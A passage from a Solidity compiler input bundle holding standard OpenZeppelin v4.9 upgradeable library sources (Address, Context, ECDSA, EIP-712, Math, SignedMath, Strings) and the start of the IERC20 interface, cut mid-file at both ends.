verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.4) (utils/Context.sol)\n\npragma solidity ^0.8.0;\nimport {Initializable} from \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract ContextUpgradeable is Initializable {\n function __Context_init() internal onlyInitializing {\n }\n\n function __Context_init_unchained() internal onlyInitializing {\n }\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[50] private __gap;\n}\n"
},
"@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/cryptography/ECDSA.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../StringsUpgradeable.sol\";\n\n/**\n * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.\n *\n * These functions can be used to verify that a message was signed by the holder\n * of the private keys of a given address.\n */\nlibrary ECDSAUpgradeable {\n enum RecoverError {\n NoError,\n InvalidSignature,\n InvalidSignatureLength,\n InvalidSignatureS,\n InvalidSignatureV // Deprecated in v4.8\n }\n\n function _throwError(RecoverError error) private pure {\n if (error == RecoverError.NoError) {\n return; // no error: do nothing\n } else if (error == RecoverError.InvalidSignature) {\n revert(\"ECDSA: invalid signature\");\n } else if (error == RecoverError.InvalidSignatureLength) {\n revert(\"ECDSA: invalid signature length\");\n } else if (error == RecoverError.InvalidSignatureS) {\n revert(\"ECDSA: invalid signature 's' value\");\n }\n }\n\n /**\n * @dev Returns the address that signed a hashed message (`hash`) with\n * `signature` or error string. This address can then be used for verification purposes.\n *\n * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:\n * this function rejects them by requiring the `s` value to be in the lower\n * half order, and the `v` value to be either 27 or 28.\n *\n * IMPORTANT: `hash` _must_ be the result of a hash operation for the\n * verification to be secure: it is possible to craft signatures that\n * recover to arbitrary addresses for non-hashed data. A safe way to ensure\n * this is by receiving a hash of the original message (which may otherwise\n * be too long), and then calling {toEthSignedMessageHash} on it.\n *\n * Documentation for signature generation:\n * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]\n * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]\n *\n * _Available since v4.3._\n */\n function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {\n if (signature.length == 65) {\n bytes32 r;\n bytes32 s;\n uint8 v;\n // ecrecover takes the signature parameters, and the only way to get them\n // currently is to use assembly.\n /// @solidity memory-safe-assembly\n assembly {\n r := mload(add(signature, 0x20))\n s := mload(add(signature, 0x40))\n v := byte(0, mload(add(signature, 0x60)))\n }\n return tryRecover(hash, v, r, s);\n } else {\n return (address(0), RecoverError.InvalidSignatureLength);\n }\n }\n\n /**\n * @dev Returns the address that signed a hashed message (`hash`) with\n * `signature`. This address can then be used for verification purposes.\n *\n * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:\n * this function rejects them by requiring the `s` value to be in the lower\n * half order, and the `v` value to be either 27 or 28.\n *\n * IMPORTANT: `hash` _must_ be the result of a hash operation for the\n * verification to be secure: it is possible to craft signatures that\n * recover to arbitrary addresses for non-hashed data. A safe way to ensure\n * this is by receiving a hash of the original message (which may otherwise\n * be too long), and then calling {toEthSignedMessageHash} on it.\n */\n function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, signature);\n _throwError(error);\n return recovered;\n }\n\n /**\n * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.\n *\n * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]\n *\n * _Available since v4.3._\n */\n function tryRecover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address, RecoverError) {\n bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);\n uint8 v = uint8((uint256(vs) >> 255) + 27);\n return tryRecover(hash, v, r, s);\n }\n\n /**\n * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.\n *\n * _Available since v4.2._\n */\n function recover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, r, vs);\n _throwError(error);\n return recovered;\n }\n\n /**\n * @dev Overload of {ECDSA-tryRecover} that receives the `v`,\n * `r` and `s` signature fields separately.\n *\n * _Available since v4.3._\n */\n function tryRecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address, RecoverError) {\n // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature\n // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines\n // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most\n // signatures from current libraries generate a unique signature with an s-value in the lower half order.\n //\n // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value\n // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or\n // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept\n // these malleable signatures as well.\n if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {\n return (address(0), RecoverError.InvalidSignatureS);\n }\n\n // If the signature is valid (and not malleable), return the signer address\n address signer = ecrecover(hash, v, r, s);\n if (signer == address(0)) {\n return (address(0), RecoverError.InvalidSignature);\n }\n\n return (signer, RecoverError.NoError);\n }\n\n /**\n * @dev Overload of {ECDSA-recover} that receives the `v`,\n * `r` and `s` signature fields separately.\n */\n function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, v, r, s);\n _throwError(error);\n return recovered;\n }\n\n /**\n * @dev Returns an Ethereum Signed Message, created from a `hash`. This\n * produces hash corresponding to the one signed with the\n * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]\n * JSON-RPC method as part of EIP-191.\n *\n * See {recover}.\n */\n function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32 message) {\n // 32 is the length in bytes of hash,\n // enforced by the type signature above\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x00, \"\\x19Ethereum Signed Message:\\n32\")\n mstore(0x1c, hash)\n message := keccak256(0x00, 0x3c)\n }\n }\n\n /**\n * @dev Returns an Ethereum Signed Message, created from `s`. This\n * produces hash corresponding to the one signed with the\n * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]\n * JSON-RPC method as part of EIP-191.\n *\n * See {recover}.\n */\n function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {\n return keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n\", StringsUpgradeable.toString(s.length), s));\n }\n\n /**\n * @dev Returns an Ethereum Signed Typed Data, created from a\n * `domainSeparator` and a `structHash`. This produces hash corresponding\n * to the one signed with the\n * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]\n * JSON-RPC method as part of EIP-712.\n *\n * See {recover}.\n */\n function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32 data) {\n /// @solidity memory-safe-assembly\n assembly {\n let ptr := mload(0x40)\n mstore(ptr, \"\\x19\\x01\")\n mstore(add(ptr, 0x02), domainSeparator)\n mstore(add(ptr, 0x22), structHash)\n data := keccak256(ptr, 0x42)\n }\n }\n\n /**\n * @dev Returns an Ethereum Signed Data with intended validator, created from a\n * `validator` and `data` according to the version 0 of EIP-191.\n *\n * See {recover}.\n */\n function toDataWithIntendedValidatorHash(address validator, bytes memory data) internal pure returns (bytes32) {\n return keccak256(abi.encodePacked(\"\\x19\\x00\", validator, data));\n }\n}\n"
},
"@openzeppelin/contracts-upgradeable/utils/cryptography/EIP712Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/cryptography/EIP712.sol)\n\npragma solidity ^0.8.8;\n\nimport \"./ECDSAUpgradeable.sol\";\nimport \"../../interfaces/IERC5267Upgradeable.sol\";\nimport {Initializable} from \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.\n *\n * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,\n * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding\n * they need in their contracts using a combination of `abi.encode` and `keccak256`.\n *\n * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding\n * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA\n * ({_hashTypedDataV4}).\n *\n * The implementation of the domain separator was designed to be as efficient as possible while still properly updating\n * the chain id to protect against replay attacks on an eventual fork of the chain.\n *\n * NOTE: This contract implements the version of the encoding known as \"v4\", as implemented by the JSON RPC method\n * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].\n *\n * NOTE: In the upgradeable version of this contract, the cached values will correspond to the address, and the domain\n * separator of the implementation contract. This will cause the `_domainSeparatorV4` function to always rebuild the\n * separator from the immutable values, which is cheaper than accessing a cached version in cold storage.\n *\n * _Available since v3.4._\n *\n * @custom:storage-size 52\n */\nabstract contract EIP712Upgradeable is Initializable, IERC5267Upgradeable {\n bytes32 private constant _TYPE_HASH =\n keccak256(\"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\");\n\n /// @custom:oz-renamed-from _HASHED_NAME\n bytes32 private _hashedName;\n /// @custom:oz-renamed-from _HASHED_VERSION\n bytes32 private _hashedVersion;\n\n string private _name;\n string private _version;\n\n /**\n * @dev Initializes the domain separator and parameter caches.\n *\n * The meaning of `name` and `version` is specified in\n * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:\n *\n * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.\n * - `version`: the current major version of the signing domain.\n *\n * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart\n * contract upgrade].\n */\n function __EIP712_init(string memory name, string memory version) internal onlyInitializing {\n __EIP712_init_unchained(name, version);\n }\n\n function __EIP712_init_unchained(string memory name, string memory version) internal onlyInitializing {\n _name = name;\n _version = version;\n\n // Reset prior values in storage if upgrading\n _hashedName = 0;\n _hashedVersion = 0;\n }\n\n /**\n * @dev Returns the domain separator for the current chain.\n */\n function _domainSeparatorV4() internal view returns (bytes32) {\n return _buildDomainSeparator();\n }\n\n function _buildDomainSeparator() private view returns (bytes32) {\n return keccak256(abi.encode(_TYPE_HASH, _EIP712NameHash(), _EIP712VersionHash(), block.chainid, address(this)));\n }\n\n /**\n * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this\n * function returns the hash of the fully encoded EIP712 message for this domain.\n *\n * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:\n *\n * ```solidity\n * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(\n * keccak256(\"Mail(address to,string contents)\"),\n * mailTo,\n * keccak256(bytes(mailContents))\n * )));\n * address signer = ECDSA.recover(digest, signature);\n * ```\n */\n function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {\n return ECDSAUpgradeable.toTypedDataHash(_domainSeparatorV4(), structHash);\n }\n\n /**\n * @dev See {EIP-5267}.\n *\n * _Available since v4.9._\n */\n function eip712Domain()\n public\n view\n virtual\n override\n returns (\n bytes1 fields,\n string memory name,\n string memory version,\n uint256 chainId,\n address verifyingContract,\n bytes32 salt,\n uint256[] memory extensions\n )\n {\n // If the hashed name and version in storage are non-zero, the contract hasn't been properly initialized\n // and the EIP712 domain is not reliable, as it will be missing name and version.\n require(_hashedName == 0 && _hashedVersion == 0, \"EIP712: Uninitialized\");\n\n return (\n hex\"0f\", // 01111\n _EIP712Name(),\n _EIP712Version(),\n block.chainid,\n address(this),\n bytes32(0),\n new uint256[](0)\n );\n }\n\n /**\n * @dev The name parameter for the EIP712 domain.\n *\n * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs\n * are a concern.\n */\n function _EIP712Name() internal virtual view returns (string memory) {\n return _name;\n }\n\n /**\n * @dev The version parameter for the EIP712 domain.\n *\n * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs\n * are a concern.\n */\n function _EIP712Version() internal virtual view returns (string memory) {\n return _version;\n }\n\n /**\n * @dev The hash of the name parameter for the EIP712 domain.\n *\n * NOTE: In previous versions this function was virtual. In this version you should override `_EIP712Name` instead.\n */\n function _EIP712NameHash() internal view returns (bytes32) {\n string memory name = _EIP712Name();\n if (bytes(name).length > 0) {\n return keccak256(bytes(name));\n } else {\n // If the name is empty, the contract may have been upgraded without initializing the new storage.\n // We return the name hash in storage if non-zero, otherwise we assume the name is empty by design.\n bytes32 hashedName = _hashedName;\n if (hashedName != 0) {\n return hashedName;\n } else {\n return keccak256(\"\");\n }\n }\n }\n\n /**\n * @dev The hash of the version parameter for the EIP712 domain.\n *\n * NOTE: In previous versions this function was virtual. In this version you should override `_EIP712Version` instead.\n */\n function _EIP712VersionHash() internal view returns (bytes32) {\n string memory version = _EIP712Version();\n if (bytes(version).length > 0) {\n return keccak256(bytes(version));\n } else {\n // If the version is empty, the contract may have been upgraded without initializing the new storage.\n // We return the version hash in storage if non-zero, otherwise we assume the version is empty by design.\n bytes32 hashedVersion = _hashedVersion;\n if (hashedVersion != 0) {\n return hashedVersion;\n } else {\n return keccak256(\"\");\n }\n }\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[48] private __gap;\n}\n"
},
"@openzeppelin/contracts-upgradeable/utils/math/MathUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/math/Math.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard math utilities missing in the Solidity language.\n */\nlibrary MathUpgradeable {\n enum Rounding {\n Down, // Toward negative infinity\n Up, // Toward infinity\n Zero // Toward zero\n }\n\n /**\n * @dev Returns the largest of two numbers.\n */\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two numbers.\n */\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two numbers. The result is rounded towards\n * zero.\n */\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b) / 2 can overflow.\n return (a & b) + (a ^ b) / 2;\n }\n\n /**\n * @dev Returns the ceiling of the division of two numbers.\n *\n * This differs from standard division with `/` in that it rounds up instead\n * of rounding down.\n */\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b - 1) / b can overflow on addition, so we distribute.\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n /**\n * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv)\n * with further edits by Uniswap Labs also under MIT license.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {\n unchecked {\n // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use\n // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2^256 + prod0.\n uint256 prod0; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(x, y, not(0))\n prod0 := mul(x, y)\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division.\n if (prod1 == 0) {\n // Solidity will revert if denominator == 0, unlike the div opcode on its own.\n // The surrounding unchecked block does not change this fact.\n // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.\n return prod0 / denominator;\n }\n\n // Make sure the result is less than 2^256. Also prevents denominator == 0.\n require(denominator > prod1, \"Math: mulDiv overflow\");\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0].\n uint256 remainder;\n assembly {\n // Compute remainder using mulmod.\n remainder := mulmod(x, y, denominator)\n\n // Subtract 256 bit number from 512 bit number.\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.\n // See https://cs.stackexchange.com/q/138556/92363.\n\n // Does not overflow because the denominator cannot be zero at this stage in the function.\n uint256 twos = denominator & (~denominator + 1);\n assembly {\n // Divide denominator by twos.\n denominator := div(denominator, twos)\n\n // Divide [prod1 prod0] by twos.\n prod0 := div(prod0, twos)\n\n // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n // Shift in bits from prod1 into prod0.\n prod0 |= prod1 * twos;\n\n // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such\n // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for\n // four bits. That is, denominator * inv = 1 mod 2^4.\n uint256 inverse = (3 * denominator) ^ 2;\n\n // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works\n // in modular arithmetic, doubling the correct bits in each step.\n inverse *= 2 - denominator * inverse; // inverse mod 2^8\n inverse *= 2 - denominator * inverse; // inverse mod 2^16\n inverse *= 2 - denominator * inverse; // inverse mod 2^32\n inverse *= 2 - denominator * inverse; // inverse mod 2^64\n inverse *= 2 - denominator * inverse; // inverse mod 2^128\n inverse *= 2 - denominator * inverse; // inverse mod 2^256\n\n // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.\n // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is\n // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inverse;\n return result;\n }\n }\n\n /**\n * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n return result;\n }\n\n /**\n * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down.\n *\n * Inspired by Henry S. Warren, Jr.'s \"Hacker's Delight\" (Chapter 11).\n */\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.\n //\n // We know that the \"msb\" (most significant bit) of our target number `a` is a power of 2 such that we have\n // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.\n //\n // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`\n // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`\n // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`\n //\n // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.\n uint256 result = 1 << (log2(a) >> 1);\n\n // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,\n // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at\n // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision\n // into the expected uint128 result.\n unchecked {\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n return min(result, a / result);\n }\n }\n\n /**\n * @notice Calculates sqrt(a), following the selected rounding direction.\n */\n function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 2, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 128;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 64;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 32;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 16;\n }\n if (value >> 8 > 0) {\n value >>= 8;\n result += 8;\n }\n if (value >> 4 > 0) {\n value >>= 4;\n result += 4;\n }\n if (value >> 2 > 0) {\n value >>= 2;\n result += 2;\n }\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 2, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 10, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n result += 64;\n }\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n result += 32;\n }\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n result += 16;\n }\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n result += 8;\n }\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n result += 4;\n }\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n result += 2;\n }\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 10, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 256, rounded down, of a positive value.\n * Returns 0 if given 0.\n *\n * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.\n */\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 16;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 8;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 4;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 2;\n }\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 256, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n}\n"
},
"@openzeppelin/contracts-upgradeable/utils/math/SignedMathUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard signed math utilities missing in the Solidity language.\n */\nlibrary SignedMathUpgradeable {\n /**\n * @dev Returns the largest of two signed numbers.\n */\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two signed numbers.\n */\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two signed numbers without overflow.\n * The result is rounded towards zero.\n */\n function average(int256 a, int256 b) internal pure returns (int256) {\n // Formula from the book \"Hacker's Delight\"\n int256 x = (a & b) + ((a ^ b) >> 1);\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n /**\n * @dev Returns the absolute unsigned value of a signed value.\n */\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n // must be unchecked in order to support `n = type(int256).min`\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n"
},
"@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./math/MathUpgradeable.sol\";\nimport \"./math/SignedMathUpgradeable.sol\";\n\n/**\n * @dev String operations.\n */\nlibrary StringsUpgradeable {\n bytes16 private constant _SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = MathUpgradeable.log10(value) + 1;\n string memory buffer = new string(length);\n uint256 ptr;\n /// @solidity memory-safe-assembly\n assembly {\n ptr := add(buffer, add(32, length))\n }\n while (true) {\n ptr--;\n /// @solidity memory-safe-assembly\n assembly {\n mstore8(ptr, byte(mod(value, 10), _SYMBOLS))\n }\n value /= 10;\n if (value == 0) break;\n }\n return buffer;\n }\n }\n\n /**\n * @dev Converts a `int256` to its ASCII `string` decimal representation.\n */\n function toString(int256 value) internal pure returns (string memory) {\n return string(abi.encodePacked(value < 0 ? \"-\" : \"\", toString(SignedMathUpgradeable.abs(value))));\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, MathUpgradeable.log256(value) + 1);\n }\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n\n /**\n * @dev Returns true if the two strings are equal.\n */\n function equal(string memory a, string memory b) internal pure returns (bool) {\n return keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation 